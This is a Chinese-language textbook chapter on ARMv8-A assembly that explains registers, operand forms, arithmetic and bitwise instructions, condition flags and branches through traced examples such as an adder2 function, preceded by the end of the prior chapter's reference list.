6. Christopher Kelty, “莫里斯蠕虫”,*Limn 杂志*,第 1 期:系统性风险,2011 年。* [`limn.it/articles/the-morris-worm/`](https://limn.it/articles/the-morris-worm/)*
7. David Auerbach, “聊天大战:微软与 AOL”,*NplusOne 杂志*,第 19 期,2014 年春季。* [`nplusonemag.com/issue-19/essays/chat-wars/`](https://nplusonemag.com/issue-19/essays/chat-wars/)*
8. *[`diveintosystems.org/book/C8-IA32/_attachments/secret.tar.gz`](https://diveintosystems.org/book/C8-IA32/_attachments/secret.tar.gz)*
9. Aleph One, “为了乐趣和利润,砸烂堆栈”,* [`insecure.org/stf/smashstack.html`](http://insecure.org/stf/smashstack.html)*, 1996.
10. DotsAreCool, “超级马里奥世界信用传送” (任天堂 ROP 示例), *[`youtu.be/vAHXK2wut_I`](https://youtu.be/vAHXK2wut_I)*, 2015.
11. *[`diveintosystems.org/book/C8-IA32/_attachments/secret2.tar.gz`](https://diveintosystems.org/book/C8-IA32/_attachments/secret2.tar.gz)*
# 第十章:ARM 汇编

本章中,我们将介绍 ARM 版本 8 应用程序配置(ARMv8-A)架构的 A64 指令集(ISA),这是当前所有 Linux 操作系统 ARM 计算机上使用的最新 ARM ISA。回想一下,指令集架构(或 ISA;见第五章)定义了机器级程序的一组指令和二进制编码。要运行本章中的示例,你需要一台安装了 64 位操作系统的 ARMv8-A 处理器的计算机。本章中的示例使用的是运行 64 位 Ubuntu Mate 操作系统的树莓派 3B+。请注意,自 2016 年以来发布的每一款树莓派都可以使用 A64 ISA。然而,树莓派操作系统(默认的树莓派操作系统)截至目前仍然是 32 位的。
你可以通过运行`uname -p`命令确认你的系统是否安装了 64 位操作系统(OS)。拥有 64 位操作系统的系统将输出以下内容:
$ uname -p
aarch64
虽然可以使用 ARM 的 GNU 工具链交叉编译工具在 Intel 机器上*构建*ARM 二进制文件,^(1) 但无法直接在 x86 系统上*运行*ARM 二进制文件。想要在自己的笔记本电脑上直接学习 ARM 汇编的读者,可以尝试探索 QEMU,^(2) 它可以*模拟*一个 ARM 系统。模拟器不同于虚拟机,因为它们还会模拟另一个系统的硬件。
另一个选择是使用亚马逊最近发布的 EC2 A1 实例。^(3) 每个实例为用户提供一个 64 位 Graviton 处理器,遵循 ARMv8-A 规范。
然而,请记住,编译器生成的特定汇编指令会受到操作系统和精确机器架构的高度影响。因此,在 AWS 实例或通过 QEMU 仿真生成的汇编可能与本章中展示的示例略有不同。
RISC 与 ARM 处理器
多年来,复杂指令集计算机(CISC)架构主导了个人计算和服务器市场。CISC 架构的常见例子包括 Intel 和 AMD 处理器。然而,由于移动计算领域的需求,精简指令集计算机(RISC)架构在过去十年中逐渐获得了动力。ARM(即 Acorn RISC 机器)是 RISC 架构的一个例子,此外还有 RISC-V 和 MIPS。由于其处理器的能效,RISC 架构特别适合移动计算,从而延长电池寿命。近年来,ARM 和其他 RISC 处理器开始在服务器和高性能计算(HPC)市场取得进展。例如,日本的 Fugaku 超级计算机(截至 2020 年为全球最快)就使用了 ARM 处理器。
### 9.1 深入汇编:基础知识
为了首次接触汇编,我们修改了第六章中的`adder`函数,简化了其行为。修改后的函数(`adder2`)如下所示:
include <stdio.h>
//adds two to an integer and returns the result
int adder2(int a) {
return a + 2;
}
int main(){
int x = 40;
x = adder2(x);
printf("x is: %d\n", x);
return 0;
}
要编译这段代码,请使用以下命令:
$ gcc -o adder adder.c
接下来,让我们使用`objdump`命令查看这段代码的相应汇编:
$ objdump -d adder > output
$ less output
在查看文件`output`时,使用`less`并输入/adder 来搜索与 adder2 相关的代码片段。与`adder`相关的部分应该看起来类似于以下内容:
0000000000000724
724: d10043ff sub sp, sp, #0x10
728: b9000fe0 str w0, [sp, #12]
72c: b9400fe0 ldr w0, [sp, #12]
730: 11000800 add w0, w0, #0x2
734: 910043ff add sp, sp, #0x10
738: d65f03c0 ret
不用担心如果你现在还不完全理解发生了什么。我们将在未来的章节中更详细地介绍汇编。现在,让我们研究这些单个指令的结构。
前面示例中的每一行包含了程序内存中指令的 64 位地址(为了节省空间,仅缩写为最低三位数字)、与指令对应的字节,以及指令本身的明文表示。例如,`d10043ff`是指令`sub sp, sp, #0x10`的机器码表示,这条指令出现在代码内存地址`0x724`。注意,`0x724`是与`sub sp, sp #0x10`指令相关的完整 64 位地址的缩写;`objdump`省略了前导零,以提高可读性。
需要注意的是,一行 C 代码通常会翻译成多条汇编指令。操作`a + 2`由代码内存地址`0x728`到`0x730`的三条指令表示:`str w0, [sp, #12]`,`ldr w0, [sp, #12]`和`add w0, w0, #0x2`。
**警告 你的汇编代码可能看起来不同!**
如果你在和我们一起编译代码,可能会注意到你的一些汇编示例看起来有所不同。编译器输出的精确汇编指令依赖于生成编译器的版本、精确的架构以及底层操作系统。我们本章中的大部分汇编示例是在运行 64 位 Ubuntu Mate 操作系统的 Raspberry Pi 3B+上使用 GCC 生成的。如果你使用的是不同的操作系统、不同的编译器,或者不同的树莓派或单板计算机,你的汇编输出可能会有所不同。
在接下来的示例中,我们没有使用任何优化标志。例如,我们使用命令`gcc -o example example.c`来编译任何示例文件(例如`example.c`)。因此,接下来的示例中会有许多看似冗余的指令。记住,编译器并不“聪明”——它仅按照一系列规则将人类可读的代码转换为机器语言。在这个转换过程中,出现一些冗余是很常见的现象。优化编译器在优化过程中会移除这些冗余,相关内容将在第十二章中讨论。
#### 9.1.1 寄存器
回想一下,*寄存器*是一个字长的存储单元,直接位于 CPU 上。ARMv8 CPU 共有 31 个寄存器用于存储通用的 64 位数据:`x0`到`x30`。尽管程序可以将寄存器的内容解释为整数或地址,但寄存器本身并不做区分。程序可以读写所有 31 个寄存器。
ARMv8-A ISA 还指定了特殊用途寄存器。值得注意的前两个是*栈指针*寄存器(`sp`)和*程序计数器*寄存器(`pc`)。编译器保留`sp`寄存器以维护程序栈的布局。`pc`寄存器指向 CPU 即将执行的下一条指令;与其他寄存器不同,程序不能直接写入`pc`寄存器。接下来,*零寄存器* `zr` 永久存储值 0,仅作为源寄存器有用。
#### 9.1.2 高级寄存器表示法
由于 ARMv8-A 是 32 位 ARMv7-A 架构的扩展,A64 ISA 提供了访问每个通用寄存器的低 32 位(或`w0`到`w30`)的机制。图 9-1 展示了寄存器`x0`的示例布局。如果 32 位数据存储在组件寄存器`w0`中,则寄存器的高 32 位变为不可访问并被清零。

*图 9-1:寄存器%x0 的组件寄存器布局*
**警告 编译器根据类型可能会选择组件寄存器**
在阅读汇编代码时,请记住编译器通常在处理 64 位值(例如指针或`long`类型)时使用 64 位寄存器,并在处理 32 位类型(例如`int`)时使用 32 位组件寄存器。在 A64 中,经常看到 32 位组件寄存器与完整的 64 位寄存器混用。例如,在前述的`adder2`函数中,编译器使用组件寄存器`w0`而不是`x0`,因为`int`类型在 64 位系统上通常占用 32 位(四字节)空间。如果`adder2`函数有一个`long`参数而不是`int`参数,编译器将会将`a`存储在寄存器`x0`而不是组件寄存器`w0`中。
对于之前熟悉 A32 ISA 的读者,重要的是注意 A32 ISA 中的 32 位通用寄存器`r0`到`r12`与 A64 组件寄存器`w0`到`w12`的映射关系。A64 ISA 提供的寄存器数量是 A32 的两倍以上。
#### 9.1.3 指令结构
每条指令由一个操作码(或*opcode*)指定其功能,以及一个或多个*操作数*指示指令如何执行。对于大多数 A64 指令,通常使用以下格式:
其中<opcode>是操作码,<D>是目标寄存器,<O1>是第一个操作数,<O2>是第二个操作数。例如,指令`add w0, w0, #0x2`具有操作码`add`,目标寄存器为`w0`,操作数为`w0`和`#0x2`。操作数有多种类型:
+ *常量(字面值)*的值前面带有`#`符号。例如,在指令`add w0, w0, #0x2`中,操作数`#0x2`是一个字面值,对应十六进制值 0x2。
+ *寄存器*形式指的是单个寄存器。指令`add sp, sp, #0x10`使用堆栈指针寄存器`sp`来指定目标寄存器,并作为`add`指令所需的两个操作数中的第一个。
+ *内存*形式对应主内存(RAM)中的某个值,通常用于地址查找。内存地址形式可以包含寄存器和常量值的组合。例如,在指令`str w0, [sp, #12]`中,操作数`[sp, #12]`就是一种内存形式。它可以大致翻译为“将 12 加到寄存器`sp`中的值上,然后对相应地址进行内存查找。”如果这听起来像是指针解引用,那是因为它就是这样!
#### 9.1.4 操作数示例
解释操作数的最佳方式是通过一个快速示例。假设内存中包含以下值:
| **地址** | **值** |
| --- | --- |
| 0x804 | 0xCA |
| 0x808 | 0xFD |
| 0x80c | 0x12 |
| 0x810 | 0x1E |
假设以下寄存器包含这些值:
| **寄存器** | **值** |
| --- | --- |
| `x0` | 0x804 |
| `x1` | 0xC |
| `x2` | 0x2 |
| `w3` | 0x4 |
然后,表 9-1 中的操作数会计算出其中显示的值。表格的每一行将操作数与其形式(例如,常量、寄存器、内存)、如何翻译以及其值进行匹配。
**表 9-1:** 操作数示例
| **操作数** | **形式** | **翻译** | **值** |
| --- | --- | --- | --- |
| `x0` | 寄存器 | `x0` | 0x804 |
| `[x0]` | 内存 | *(0x804) | 0xCA |
| `#0x804` | 常量 | 0x804 | 0x804 |
| `[x0, #8]` | 内存 | *(`x0` + 8) 或 *(0x80c) | 0x12 |
| `[x0, x1]` | 内存 | *(`x0` + `x1`) 或 *(0x810) | 0x1E |
| `[x0, w3, SXTW]` | (符号扩展)内存 | *(`x0` + 符号扩展(`w3`)) 或 *(0x808) | 0xFD |
| `[x0, x2, LSL, #2]` | 缩放内存 | *(`x0` + (`x2 ≪ 2`)) 或 *(0x80c) | 0x12 |
| `[x0, w3, SXTW, #1]` | (符号扩展)缩放内存 | *(`x0` + 符号扩展(`w3 ≪ 1`)) 或 *(0x80c) | 0x12 |
在表 9-1 中,符号`x0`表示存储在 64 位寄存器`x0`中的值,而`w3`表示存储在 32 位寄存器`w3`中的值。操作数`[x0]`表示应将`x0`中的值视为地址,并对该地址进行解引用(查找)。因此,操作数`[x0]`对应于*(0x804)或值 0xCA。32 位寄存器上的操作可以与 64 位寄存器结合使用符号扩展字(`SXTW`)指令。因此,`[x0, w3, SXTW]`在将`w3`符号扩展为 64 位值后,将其加到`x0`上并进行内存查找。最后,缩放内存类型通过使用左移来计算偏移量。
在继续之前有几点重要说明。虽然表 9-1 展示了许多有效的操作数形式,但并非所有形式在所有情况下都可以互换使用。
具体而言:
+ 数据不能直接读取或写入内存;相反,ARM 遵循加载/存储模型,需要在寄存器中操作数据。因此,数据必须先转移到寄存器中进行操作,操作完成后再转移回内存。
+ 指令的目标组件必须始终是寄存器。
表 9-1 作为参考,但理解关键操作数形式将帮助读者提高解析汇编语言的速度。
### 9.2 常见指令
在这一节中,我们讨论了几条常见的 ARM 汇编指令。表 9-2 列出了 ARM 汇编中最基础的指令。
**表 9-2:** 最常见的指令
| **指令** | **翻译** | |
| --- | --- | --- |
| `ldr D, [addr]` | D = *(addr) | (将内存中的值加载到寄存器 D 中) |
| `str S, [addr]` | *(addr) = S | (将 S 存储到内存位置*(addr)) |
| `mov D, S` | D = S | (将 S 的值复制到 D 中) |
| `add D, O1, O2` | D = O1 + O2 | (将 O1 加到 O2 并将结果存储到 D 中) |
| `sub D, O1, O2` | D = O1 – O2 | (将 O2 从 O1 中减去并将结果存储到 D 中) |
因此,指令的顺序
str w0, [sp, #12]
ldr w0, [sp, #12]
add w0, w0, #0x2
转换为:
+ 将寄存器`w0`中的值存储到由`sp` + 12 指定的*内存*位置(或`*(sp + 12)`)。
+ 从内存位置`sp` + 12(或`*(sp + 12)`)加载值到寄存器`w0`中。
+ 将值 0x2 加到寄存器`w0`,并将结果存储回寄存器`w0`(或`w0` = `w0` + 0x2)。
表 9-2 中显示的`add`和`sub`指令也有助于维护程序栈的组织(即*调用栈*)。回想一下,*栈指针*(`sp`)是编译器为调用栈管理保留的。从我们之前在“程序内存和作用域”中关于程序内存的讨论中回忆,调用栈通常存储局部变量和参数,并帮助程序追踪自己的执行(参见图 9-2)。在 ARM 系统中,执行栈朝着*较低*的地址增长。像所有栈数据结构一样,操作发生在调用栈的“顶部”;因此,`sp`“指向”栈的顶部,它的值是栈顶部的地址。

*图 9-2:程序地址空间的各个部分*
表 9-3 中显示的`ldp`和`stp`指令有助于移动多个内存位置,通常是在程序栈上或栈外。如表 9-3 所示,寄存器`x0`保存一个内存地址。
**表 9-3:** 一些访问多个内存位置的指令
| **指令** | **翻译** |
| --- | --- |
| `ldp D1, D2, [x0]` | D1 = *(x0), D2 = *(x0+8)(加载 x0 处的值, |
| | 将 X0+8 的值分别加载到寄存器 D1 和 D2 中) |
| `ldp D1, D2, [x0, #0x10]!` | x0 = x0 + 0x10,然后设置 D1 = *(x0),D2 = *(x0+8) |
| `ldp D1, D2, [x0], #0x10` | D1 = *(x0), D2 = *(x0+8),然后设置 x0 = x0 + 0x10 |
| `stp S1, S2, [x0]` | *(x0) = S1, *(x0+8) = S2 (将 S1 和 S2 存储到 |
| | 存储位置 *(x0) 和 *(x0+8),分别为 |
| `stp S1, S2, [x0, #-16]!` | 设置 x0 = x0 - 16,然后存储 *(x0) = S1, *(x0+8) = S2 |
| `stp S1, S2, [x0], #-16` | 存储 *(x0) = S1, *(x0+8) = S2,然后设置 x0 = x0 - 16 |
简而言之,`ldp` 指令从寄存器 `x0` 所持有的内存位置及该内存位置偏移 8 字节(即 `x0`+0x8)处加载一对值到目标寄存器 D1 和 D2 中。与此同时,`stp` 指令将源寄存器 S1 和 S2 中的一对值存储到寄存器 `x0` 所持有的内存位置及该地址偏移 8 字节(即 `x0`+0x8)处。请注意,这里假设寄存器中的值是 64 位数。如果使用的是 32 位寄存器,则内存偏移会变为 `x0` 和 `x0`+0x4。
`ldp` 和 `stp` 指令还有两种特殊形式,可以同时更新 `x0`。例如,指令 `stp S1, S2, [x0, #-16]!` 表示应该*首先*从 `x0` 中减去 16 字节,然后才将 S1 和 S2 存储到偏移量 `[x0]` 和 `[x0+8]` 处。相比之下,指令 `ldp D1, D2, [x0], #0x10` 表示应该首先将偏移量 `[x0]` 和 `[x0+8]` 处的值存储到目标寄存器 D1 和 D2 中,*然后*再将 `x0` 增加 16 字节。这些特殊形式通常用于具有多个函数调用的函数的开始和结束部分,稍后我们会看到这一点。
#### 9.2.1 综合实例:一个更具体的例子
让我们更详细地看看 `adder2` 函数
//adds two to an integer and returns the result
int adder2(int a) {
return a + 2;
}
以及其对应的汇编代码:
0000000000000724
724: d10043ff sub sp, sp, #0x10
728: b9000fe0 str w0, [sp, #12]
72c: b9400fe0 ldr w0, [sp, #12]
730: 11000800 add w0, w0, #0x2
734: 910043ff add sp, sp, #0x10
738: d65f03c0 ret
汇编代码由一个 `sub` 指令、接着是 `str` 和 `ldr` 指令、两个 `add` 指令,最后是一个 `ret` 指令组成。为了理解 CPU 如何执行这一组指令,我们需要回顾程序内存的结构(参见 第 64 页中的“程序内存和作用域”)。回想一下,每当程序执行时,操作系统会为新程序分配地址空间(也叫做 *虚拟内存*)。虚拟内存和相关的进程概念在 第十三章中有更详细的讨论;现在,理解一个进程就是运行中的程序的抽象,虚拟内存就是为单个进程分配的内存就足够了。每个进程都有自己的一块内存区域,称为 *调用栈*。请记住,调用栈位于进程/虚拟内存中,而寄存器则位于 CPU 中。
图 9-3 显示了在执行 `adder2` 函数之前调用栈和寄存器的示例状态。

*图 9-3:执行栈在执行之前的状态*
请注意,栈是向*较低*地址生长的。`adder2`函数的参数(或`a`)通常由寄存器`x0`存储。由于`a`是`int`类型,它被存储在组件寄存器`w0`中,如图 9-3 所示。同样,由于`adder2`函数返回一个`int`,因此返回值使用组件寄存器`w0`而不是`x0`。
程序内存代码段中的指令地址已缩短为 0x724–0x738,以提高图示的可读性。同样,程序内存中调用栈段的地址已从 0xffffffffee40–0xffffffffee50 缩短为 0xe40–0xe50。实际上,调用栈地址通常出现在比代码段地址高得多的程序内存地址中。
请注意寄存器`sp`和`pc`的初始值:分别是 0xe50 和 0x724。`pc`寄存器(或程序计数器)指示下一条要执行的指令,地址 0x724 对应`adder2`函数中的第一条指令。下图中的左上箭头直观地表示当前正在执行的指令。

第一条指令(`sub sp, sp, #0x10`)将常数值 0x10 从栈指针中减去,并用新结果更新栈指针。由于栈指针包含栈顶的地址,这个操作*扩展*了栈,增加了 16 个字节。栈指针现在包含地址 0xe40,而程序计数器(`pc`)寄存器包含下一条要执行的指令的地址,即 0x728。

回想一下,`str`指令*存储*寄存器中的值到内存中。因此,下一条指令(`str w0, [sp, #12]`)将寄存器`w0`中的值(即`a`的值,0x28)存储到调用栈位置`sp` + 12,即 0xe4c。请注意,这条指令不会以任何方式修改`sp`寄存器的内容;它只是将一个值存储到调用栈中。一旦这条指令执行完毕,`pc`会推进到下一条指令的地址,即 0x72c。

接下来,执行`ldr w0, [sp, #12]`。回想一下,`ldr`指令*加载*内存中的一个值到寄存器中。通过执行该指令,CPU 将寄存器`w0`中的值替换为位于栈地址`sp` + 12 的值。尽管这看起来像是一个没有意义的操作(毕竟 0x28 被替换为 0x28),但它突出了一个约定,即编译器通常会将函数参数存储到调用栈中以备后用,然后根据需要将它们重新加载到寄存器中。再说一次,`sp`寄存器中存储的值不受`str`操作的影响。就程序而言,“栈顶”仍然是 0xe40。一旦`ldr`指令执行,`pc`会推进到地址 0x730。

随后执行 `add w0, w0, #0x2`。回想一下,`add` 指令的形式是 `add D, O1, O2`,并将 O1 + O2 的结果存储在目标寄存器 D 中。因此,`add w0, w0, #0x2` 将常量值 0x2 加到存储在 `w0` 中的值(0x28),结果是 0x2A 被存储在寄存器 `w0` 中。接着,`pc` 寄存器将前进到下一个指令地址 0x734。

下一条执行的指令是 `add sp, sp, #0x10`。此指令将 16 字节加到存储在 `sp` 中的地址上。由于栈是向低地址增长的,因此向栈指针添加 16 字节会导致栈“收缩”,并将 `sp` 恢复到其原始值 0xe50。然后,`pc` 寄存器将前进到 0x738。
回想一下,调用栈的目的是存储每个函数在更大程序上下文中执行时所使用的临时数据。根据约定,栈在函数调用开始时“增长”,并在函数结束时恢复到原始状态。因此,在函数开始时,通常会看到 `sub sp, sp, #v` 指令(其中 `v` 是某个常量值),函数结束时会看到 `add sp, sp, #v` 指令。

最后执行的指令是 `ret`。我们将在未来的章节中讨论 `ret` 的作用,特别是关于函数调用的部分,但目前只需要知道 `ret` 为从函数返回准备调用栈。根据约定,寄存器 `x0` 总是包含返回值(如果存在)。在这种情况下,由于 `adder2` 是 `int` 类型,返回值被存储在组件寄存器 `w0` 中,函数返回值为 0x2A,即 42。
### 9.3 算术指令
#### 9.3.1 常见的算术指令
A64 ISA 实现了多个与 ALU 执行的算术操作相对应的指令。表 9-4 列出了在阅读 ARM 汇编时可能遇到的几条算术指令。
**表 9-4:** 常见指令
| **指令** | **翻译** |
| --- | --- |
| `add D, O1, O2` | D = O1 + O2 |
| `sub D, O1, O2` | D = O1 – O2 |
| `neg D, O1` | D = –(O1) |
`add` 和 `sub` 指令分别对应加法和减法,并且需要两个操作数和一个目标寄存器。相比之下,`neg` 指令只需要一个操作数和一个目标寄存器。
表 9-4 中的三条指令也有 *进位* 形式,使得指令能够使用可选的进位条件标志 `C`。当无符号运算发生溢出时,单比特进位标志会被设置。我们将在接下来的章节中讨论其他条件控制标志,但在这里先描述进位标志,以介绍额外的算术指令。进位形式及其大致翻译见表 9-5。
**表 9-5:** 常见指令的进位形式
| **指令** | **翻译** |
| --- | --- |
| `adc D, O1, O2` | D = O1 + O2 + `C` |
| `sbc D, O1, O2` | D = O1 – O2 – `~C` |
| `ngc D, O1` | D = –(O1) – `~C` |
上述指令也有一个可选的`s`后缀。当使用`s`后缀时(例如`adds`),表示该算术操作会设置条件标志。
##### 9.3.1.1 乘法与除法
**表 9-6:** 常见的乘法和除法指令
| **指令** | **翻译** |
| --- | --- |
| `mul D, O1, O2` | D = O1 × O2 |
| `udiv D, O1, O2` | D = O1 / O2(32 位无符号) |
| `sdiv D, O1, O2` | D = O1 / O2(64 位有符号) |
最常见的乘法和除法指令见表 9-6。`mul`指令操作两个操作数,并将结果存储在目标 D 中。除法操作没有通用形式;`udiv`和`sdiv`指令分别操作 32 位和 64 位数据。注意,不能将 32 位寄存器与 64 位寄存器相乘。
此外,ARMv8-A 提供了复合形式的乘法,允许 CPU 在一条指令中执行更复杂的操作。这些指令见表 9-7。
**表 9-7:** 复合乘法指令
| **指令** | **翻译** |
| --- | --- |
| `madd D, O1, O2, O3` | D = O3 + (O1 × O2) |
| `msub D, O1, O2, O3` | D = O3 – (O1 × O2) |
| `mneg D, O1, O2` | D = –(O1 × S2) |
#### 9.3.2 位移指令
位移指令使编译器能够执行位移操作。乘法和除法指令通常需要较长时间执行。位移提供了编译器的快捷方式,用于乘数和除数是 2 的幂的情况。例如,计算`77 * 4`时,大多数编译器会将该操作转换为`77 ≪ 2`,以避免使用`mul`指令。同样地,计算`77 / 4`时,编译器通常会将该操作转换为`77 ≫ 2`,以避免使用`sdiv`指令。
请记住,左移和右移指令会根据目标是算术(有符号)移位还是逻辑(无符号)移位,翻译成不同的指令。
**表 9-8:** 位移指令
| **指令** | **翻译** | **算术或逻辑?** |
| --- | --- | --- |
| `lsl D, R, #v` | D = R `≪` v | 逻辑或算术 |
| `lsr D, R, #v` | D = R `≫` v | 逻辑 |
| `asr D, R, #v` | D = R `≫` v | 算术 |
| `ror D, R, #v` | D = R `≫>` v | 两者都不是(旋转) |
除了目标寄存器,每条移位指令需要两个操作数;一个通常是寄存器(用 R 表示),另一个是 6 位的移位值(v)。在 64 位系统上,移位值被编码为一个字节(因为移位超过 63 没有意义)。移位值 v 必须是常数或存储在一个组件寄存器中。
最后一条移位指令`ror`需要特别说明。`ror`指令*旋转*位数,将最高有效位替换为最低有效位。我们使用`≫>`符号来表示旋转移位指令。
**注意 不同版本的指令帮助我们在汇编级别区分类型**
在汇编级别,没有类型的概念。然而,回想一下,编译器可以根据代码级别存在的类型选择使用组件寄存器。类似地,回想一下,右移操作的执行方式取决于值是有符号还是无符号。在汇编级别,编译器使用不同的指令来区分逻辑移位和算术移位!
#### 9.3.3 按位指令
按位指令使得编译器能够对数据执行按位操作。编译器使用按位操作的一个方式是进行某些优化。例如,编译器可能选择用`77 & 3`代替开销更大的`sdiv`指令来实现 77 模 4。
表 9-9 列出了常见的按位指令,以及利用否定的复合按位指令。
**表 9-9:** 按位操作
| **指令** | **翻译** |
| --- | --- |
| `and D, O1, O2` | D = O1 `&` O2 |
| `orr D, O1, O2` | D = O1 `|` O2 |
| `eor D, O1, O2` | D = O1 `^` O2 |
| `mvn D, O` | D = `~`O |
| `bic D, O1, O2` | D = O1 `& ~`O2 |
| `orn D, O1, O2` | D = O1 `| ~`O2 |
| `eon D, O1, O2` | D = O1 `^ ~`O2 |
请记住,按位`not`与取反(`neg`)不同。`mvn`指令翻转操作数的位,但不加 1。要小心不要混淆这两条指令。
**警告 仅在你的 C 代码中需要时使用按位操作!**
阅读完本节后,可能会有冲动将你 C 代码中的常见算术操作替换为按位移位和其他操作。但这*不*推荐。大多数现代编译器足够智能,可以在合适的时候将简单的算术操作替换为按位操作,这样程序员就不需要这么做。一般来说,程序员应尽量优先考虑代码的可读性,避免过早优化。
### 9.4 条件控制和循环
本节涵盖了用于条件语句和循环的汇编指令(参见第 30 页的“条件语句和循环”)。回想一下,条件语句使得程序员可以根据条件表达式的结果修改程序执行。编译器将条件语句翻译为汇编指令,这些指令修改指令指针(`pc`),使其指向一个不是程序序列中下一个地址的地址。
#### 9.4.1 基础知识
##### 条件比较指令
比较指令执行算术操作,目的是引导程序的条件执行。表 9-10 列出了与条件控制相关的基本指令。
**表 9-10:** 条件控制指令
| **指令** | **翻译** |
| --- | --- |
| `cmp O1, O2` | 比较 O1 与 O2(计算 O1 - O2) |
| `tst O1, O2` | 计算 O1 `&` O2 |
`cmp` 指令比较两个操作数 O1 和 O2 的值。具体来说,它将 O2 从 O1 中减去。`tst` 指令执行按位与操作。通常会看到类似以下的指令:
tst x0, x0
在这个例子中,`x0` 与自身的按位与操作仅在 `x0` 为零时结果为零。换句话说,这是一个零值测试,等同于以下操作:
cmp x0, #0
与迄今为止介绍的算术指令不同,`cmp` 和 `tst` 不会修改目标寄存器。相反,这两条指令会修改一系列单比特值,这些值被称为*条件码标志*。例如,`cmp` 会根据 O1 – O2 的结果是正数(大于)、负数(小于)还是零(相等)来修改条件码标志。请记住,条件码值编码了 ALU 操作的信息(参见 第 261 页 的“ALU”部分)。条件码标志是 ARM 处理器状态(`PSTATE`)的一部分,取代了 ARMv7-A 系统中的当前程序状态寄存器(`CPSR`)。
**表 9-11:** 常见条件码标志
| **标志** | **翻译** |
| --- | --- |
| `Z` | 等于零(1: 是; 0: 否) |
| `N` | 负数(1: 是; 0: 否) |
| `V` | 发生了带符号溢出(1: 是; 0: 否) |
| `C` | 算术进位/无符号溢出已发生(1: 是; 0: 否) |
表 9-11 描述了用于条件码操作的常见标志。重新回顾 `cmp O1, O2` 指令:
+ 如果 O1 和 O2 相等,则 `Z` 标志设置为 1。
+ 如果 O1 小于 O2(O1 – O2 结果为负值),则 `N` 标志设置为 1。
+ 如果操作 O1 – O2 结果为溢出,则 `V` 标志设置为 1(对于带符号比较有用)。
+ 如果操作 O1 – O2 结果为算术进位操作(对于无符号比较有用),则 `C` 标志设置为 1。
虽然对条件码标志的深入讨论超出了本书的范围,但 `cmp` 和 `tst` 指令通过设置这些寄存器,使我们接下来要介绍的指令集(*分支* 指令)能够正确运行。
##### 分支指令
分支指令使程序的执行可以“跳转”到代码中的新位置。在我们迄今为止追踪的汇编程序中,`pc` 总是指向程序内存中的下一条指令。分支指令使得 `pc` 可以被设置为尚未见过的新指令(例如 `if` 语句的情况),或者是之前执行过的指令(例如循环中的情况)。
**表 9-12:** 常见分支指令
| **指令** | **描述** |
| --- | --- |
| `b addr L` | `pc` = addr |
| `br A` | `pc` = A |
| `cbz R, addr L` | 如果 R 等于 0,`pc` = addr(条件分支) |
| `cbnz R, addr L` | 如果 R 不等于 0,`pc` = addr(条件分支) |
| `b.c addr L` | 如果 c,`pc` = addr(条件分支) |
**直接分支指令** 表 9-12 列出了常见的分支指令集合;L 表示*符号标签*,它作为程序对象文件中的标识符。所有标签由一些字母和数字组成,后跟冒号。标签可以是*局部的*或*全局的*,取决于它在对象文件中的作用范围。函数标签通常是*全局的*,并通常由函数名和冒号组成。例如,`main:`(或`<main>:`)用于标记用户定义的`main`函数。相反,作用域为*局部*的标签前面会加一个句点。例如,`.L1:`是你可能会在`if`语句或循环中遇到的标签。
所有标签都有一个关联的地址(在表 9-12 中为`addr`)。当 CPU 执行`b`指令时,它会将`pc`寄存器设置为`addr`。`b`指令使程序计数器能够在当前地址的 128 MB 范围内进行跳转;编写汇编程序的程序员还可以通过使用`br`指令指定一个特定的地址来进行跳转。与`b`指令不同,`br`指令没有地址范围的限制。
有时,局部标签也会显示为从函数开始的偏移量。因此,一条地址距离`main`函数起始位置 28 字节的指令,可能会用标签`<main+28>`表示。例如,指令`b` `0x7d0 <main+28>`表示跳转到地址 0x7d0,该地址的关联标签为`<main+28>`,意味着它距离`main`函数的起始地址有 28 字节。执行该指令时,将`pc`设置为 0x7d0。
最后三条指令是*条件分支指令*。换句话说,只有在给定的条件评估为真时,程序计数器寄存器才会被设置为`addr`。`cbz`和`cbnz`指令除了地址外,还需要一个寄存器。在`cbz`的情况下,如果 R 为零,则执行分支并将`pc`设置为`addr`。在`cbnz`的情况下,如果 R 非零,则执行分支并将`pc`设置为`addr`。
最强大的条件分支指令是`b.c`指令,它使编译器或汇编程序员能够选择一个自定义后缀,表示进行分支的条件。
**条件分支指令后缀** 表 9-13 列出了常见的条件分支后缀(c)集合。与分支指令一起使用时,每条指令以字母`b`和一个点开始,表示它是一条分支指令。每条指令的后缀(c)表示分支的*条件*。分支指令后缀还决定了是否将数值比较解释为有符号或无符号。请注意,条件分支指令的范围比`b`指令要小得多(1 MB)。这些后缀也用于条件选择指令(`csel`),该指令将在下一节中介绍。
**表 9-13:** 条件跳转指令后缀(括号中为同义词)
| **有符号比较** | **无符号比较** | **描述** |
| --- | --- | --- |
| `eq` | `eq` | 如果相等(==)或者如果为零则跳转 |
| `ne` | `ne` | 如果不等于(!=)则跳转 |
| `mi` | `mi` | 如果为负数(负值)则跳转 |
| `pl` | `pl` | 如果非负(>= 0)则跳转 |
| `gt` | `hi` | 如果大于(更高)(>)则跳转 |
| `ge` | `cs` (`hs`) | 如果大于或等于(>=)则跳转 |
| `lt` | `lo` (`cc`) | 如果小于(<)则跳转 |
| `le` | `ls` | 如果小于或等于(<=)则跳转 |
##### `goto` 语句
在接下来的子节中,我们将研究汇编语言中的条件语句和循环,并将它们逆向转换回 C 语言。当将汇编代码的条件语句和循环翻译回 C 语言时,了解它们对应的 C 语言 `goto` 形式非常有用。`goto` 语句是 C 语言中的一种原语,它强制程序执行跳转到代码中的另一行。与 `goto` 语句相关的汇编指令是 `b`。
`goto` 语句由 `goto` 关键字组成,后面跟着一个 *goto 标签*,这是一种程序标签,表示执行应该继续到相应的标签位置。因此,`goto done` 意味着程序执行应该跳转到标记为 `done` 的行。C 语言中程序标签的其他例子包括前面在“switch 语句”中提到的 `switch` 语句标签,见 第 122 页。
以下代码清单展示了一个 `getSmallest` 函数,首先是用常规 C 代码编写的版本(第一部分),然后是它在 C 语言中的 `goto` 形式(第二部分)。`getSmallest` 函数比较两个整数(`x` 和 `y`)的值,并将较小的值赋给变量 `smallest`。
常规 C 版本
int getSmallest(int x, int y) {
int smallest;
if ( x > y ) { //if (conditional)
smallest = y; //then statement
}
else {
smallest = x; //else statement
}
return smallest;
}
`goto` 版本
int getSmallest(int x, int y) {
int smallest;
if (x <= y ) { //if (!conditional)
goto else_statement;
}
smallest = y; //then statement
goto done;
else_statement:
smallest = x; //else statement
done:
return smallest;
}
这个 `goto` 形式的函数可能看起来有些反直觉,但我们来讨论一下到底发生了什么。条件语句检查变量 `x` 是否小于或等于 `y`。
